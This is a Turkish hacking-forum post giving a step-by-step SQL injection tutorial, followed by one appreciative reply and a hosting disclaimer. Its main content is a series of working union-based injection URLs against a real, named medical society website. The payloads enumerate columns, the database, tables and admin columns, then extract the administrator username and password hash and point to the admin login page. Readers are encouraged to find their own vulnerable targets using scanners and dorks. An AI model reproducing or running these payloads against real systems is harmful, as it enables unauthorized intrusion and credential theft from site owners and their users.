☆Sql Açığı Kullanımı//Stajyer☆

ViceXx

Katılımcı Üye
8 Ocak 2017
627
1
23
Berlin
Herkese Merhabalar;
Bugün sql injectionu anlatacağım. Verdiğim site örnektir siz kendiniz bulunuz :). İyi okumalar


Sql İnjection Açığı:


Sayfada Sql komutlarını çalıştırarak veri çekmeyi hedefleyen sunucuya yönelik bir güvenlik açığıdır. Birden fazla çeşidi bulunan geniş bir açıktır.

_______________________________________________________________________________________

Öncelikle burada "Sql" dediğimiz şeyin ne olduğunu anlayalım. "Sql" bir database (veritabanı) programlama dilidir. Sql Açığı, Sql ile ilgili yapılan kodlama hatalarıyla ortaya çıkan bir açık türüdür. Buna göre, Sql Açığı olan bir sitede bazı Sql komutları kullanarak site yöneticisinin kullanıcı adı ve parola bilgilerine ulaşılabilir. Günümüzde on milyonlarca sitede Sql açığı bulunduğu gibi, devlet sitesi gibi önemli sitelerde de bu açık türüne rastlanır.

Bir sitede Sql açığı olduğunu nasıl anlarsınız? Bunun el ile ve program kullanarak otomatik bir şekilde tarama yapma şeklinde iki seçeneği var. El ile taramanın nasıl yapıldığını konuya geçince hemen anlayacaksınız zaten ama bunu hiç tavsiye etmem. Çünkü çok zamanınızı alabileceğinden program ile otomatik tarama yapmak daha uygundur. Ayrıca forumda veya başka yerde hazır "Sql Açıklı Siteler" bolca paylaşılıyor.

İlk önce "Safe3" veya "Acunetix" gibi bir program aracılığı ile (Bu programların adını birçok yerde duymuşsunuzdur. İnternette paylaşılıyor.) hedef sitemizde Sql açığı olup olmadığını taratıyoruz. Ben size örnek bir site vereceğim. Bütün işlemlerimizi bu site üzerinden uygulamalı olarak yapacasınız.


Site: :: MUSCULOSKELETAL SOCIETY ::
Sql Açığı Bulunan Sayfa: :: MUSCULOSKELETAL SOCIETY ::

Burada hemen bir şeyi kafanıza yazın. Sql Açığı bulunan sayfa "kelime.php?id=sayı" denen bir değer içeriyor. (Kelime adı ve sayı değeri duruma göre değişebilir.) Demek ki biz ileride Sql açıklı site taraması yaparken dorklarımızı buna göre yazacağız.

Şimdi ilk önce sitemizde Sql Açığı olup olmadığından emin olmak için sayfamızın sonuna tırnak işareti ( ' ) ekleyelim.

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5'
Eğer karşımıza;

"You Have An Error İn Your SQL Syntax, Check The Manuel That Corresponds To Your MYSQL Server Version For The Right Syntax To Use Near "'3728"' At Line 1"

Gibi bir hata gelirse sitemizde Sql Açığı vardır. Tabii benzer bir hata da meydana gelebilir. Bizim sitemizde alt tarafta bir hata meydana geldi. Sql açığı olduğunu görüyoruz.

Önce sitemizin kolon sayısını öğrenmemiz gerekiyor. Bunun için "+order+by+sayı" kodunu kullanmamız gerekiyor. Bir deneme yapalım:


Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+order+by+20

Karşımıza şu ve benzeri bir hata geliyor:

"Unknown column ’20’ in ’order clause"

Demek ki kolon sayımız 20'den daha az. Sayıyı yavaş yavaş düşürerek tekrar deniyoruz. Amacımız sitede herhangi bir hatayla karşılaşmamak.

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+order+by+15
http://musculoskeletalsociety.in/page.php?id=5+order+by+10
http://musculoskeletalsociety.in/page.php?id=5+order+by+7
http://musculoskeletalsociety.in/page.php?id=5+order+by+6
http://musculoskeletalsociety.in/page.php?id=5+order+by+5
Evet, "5" değerinde bir hata almadık. Kolon sayımızın 5 olduğunu öğrendik. Şimdi sıra kolonları yansıtma işleminde. Bu işlemi "+union+select+sayı,sayı,sayı..." şeklinde 2 türlü yapabiliriz.

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+union+select+1,2,3,4,5

Veya

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+union+select+0,1,2,3,4

İki seçenekte de ortak olan özellik toplam 5 tane sayı girmemiz. Bazen seçeneklerden birisi sonuç vermezse diğerini denersiniz. Fakat bu işlemi yaptığımızda ekrana hiç bir şey yansımadı. İşlemimizin başarılı olması için "id" değerini sitede bulunmayan bir değer almak gereklidir. Bunun için en mantıklı şey sayının başına " - " işaretini bırakmak olacaktır. Yani şu şekilde:

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,2,3,4,5


Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,version(),3,4,5
Dikkatinizi çeken şey "version()" kodunu "2" yerine kullanmamız oldu. İsteseydik "3" yerine de kullanabilirdik. Karşımıza çıkan değer "5.6.35" şeklinde. Kısaca "5" diyelim, gerisi önemli değil. Eğer ileride denediğiniz farklı sitelerde sizde versiyon olarak 5 dışında bir şey çıkarsa (4 gibi) o siteyle şimdilik uğraşmayın. Kafanız karışacak. Zaten çoğu site versiyon 5 almakta.

Daha sonra veritabanı ismini öğrenmeliyiz.

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,database(),3,4,5
Veritabanı ismi: "culosmus_muscul" Bunu hemen hex koduna çevirmeliyiz. Hex Kodu bir nevi şifreleme türüdür. İnternette "Hex Kod Çevirici" siteler var. Şu site işinizi görecektir:

Kod:
http://www.convertstring.com/tr/EncodeDecode/HexEncode

Siteden veri tabanımızı hex biçiminde çeviriyoruz. Şöyle bir çeviri aldık: "63756C6F736D75735F6D757363756C"
Bu kodun başına "0x" koymayı unutmayın. Yani şöyle: "0x63756C6F736D75735F6D757363756C" Bunu kenara not edin.

Şimdi sıra veri çekme işlemlerine geldi. Ama önce veri çekme esnasında karşılaşacağımız 3 terimi inceleyelim.

Table: "Tablo" manasına gelir. Bir sitede çok sayıda tablo bulunur. Örnek olarak "yönetici" adlı bir tabloda yönetici ile ilgili bilgileri bulabilirsiniz. İlk aşamada bize gerekli olan tabloyu buluruz.

Column: "Kolon" anlamındadır. Her tablonun içinde birkaç tane kolon bulunur. Örnek olarak "yönetici" adlı tablo içinde yöneticiye ait "mail" , "kullanıcı adı" , "parola" bilgileri bulunabilir. İkinci aşamada tablo içindeki kolonlardan bize gerekli olanlarını seçeriz.

Data: Kolonlardan çekilen verilerdir. Üçüncü aşamada seçtiğimiz kolonlardan verileri çekeriz.


Artık verileri çekmeye başlayabiliriz.

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=0x63756C6F736D75735F6D757363756C
Karışık bir kod kalabalığı oldu, uğraştıkça alışırsınız. Karşımıza birçok tablo adı gelecek. Bunlardan işimize yarayacak olanını seçmeliyiz. En başta "admin" bölümünü görüyoruz. Adı üzerine içinde admin bilgilerinin olduğu gayet belli oluyor. Hemen o tablonun "column" verilerini çekmeliyim.
Önce "admin" hex kodlarını çıkartalım ve başına "0x" ekleyelim: "0x61646D696E"
Şimdi devam edelim:

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_schema=0x63756C6F736D75735F6D757363756C+and+table_name=0x61646D696E


Yüzdük yüzdük kuyruğuna geldik artık. Artık karşımıza kullanıcı bilgileri çıkıyor. Bunlarda "user_id" ve "password" seçeneklerini alıp kullanıcı adını ve şifreyi ele geçireceğiz. Şimdi iki değer alacağım için hem "2" hem de "3" değerini kullanmam gerekiyor.

Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,(user_id),(password),4,5+from+admin
Buradan öğrendiklerimize göre;

Kullanıcı Adı: admin
Parola: 25a41cec631264f04815eda23dc6edd9


Bu arada parolamız tam olarak böyle bir şey değil. Kimi web sitelerinde çektiğiniz şifreler normal gözükürken kimi sitelerde de böyle "Md5" , "Sha" gibi yöntemlerle şifrelenmiş olarak gözükür. Bunun için internette şifre çözücüler var. Zaten çoğu sitede parolayı normal olarak alabiliyorsunuz. Ben kimsenin hazıra konup parolayı kullanmaması için bu siteyi özel olarak seçtim.

Artık parola ve kullanıcı adı elimizde. Şimdi tek yapmamız gereken bir admin panel bulucu yardımıyla paneli bulmak. Onu da ben vereyim:

Admin | Sign In

İyi Günler THT Ailesi:)

 
Son düzenleme:

TheSoldier05

Kıdemli Üye
20 Ağu 2016
2,098
1
Toprak
İnternette bir araştırma yapacak arkadaşlar genelde ingilizce kavramlar arasında boğuşuyor. Ingilizce bilmeyen arkadaşlar için çok faydalı/Bilen arkadaşlar içinde faydalı bir anlatım.Şahsım adına çok teşekkür ederim. Az buçuk bilgim var ama yinede verdiğin emek gerçekten çok hoş. Ellerine sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.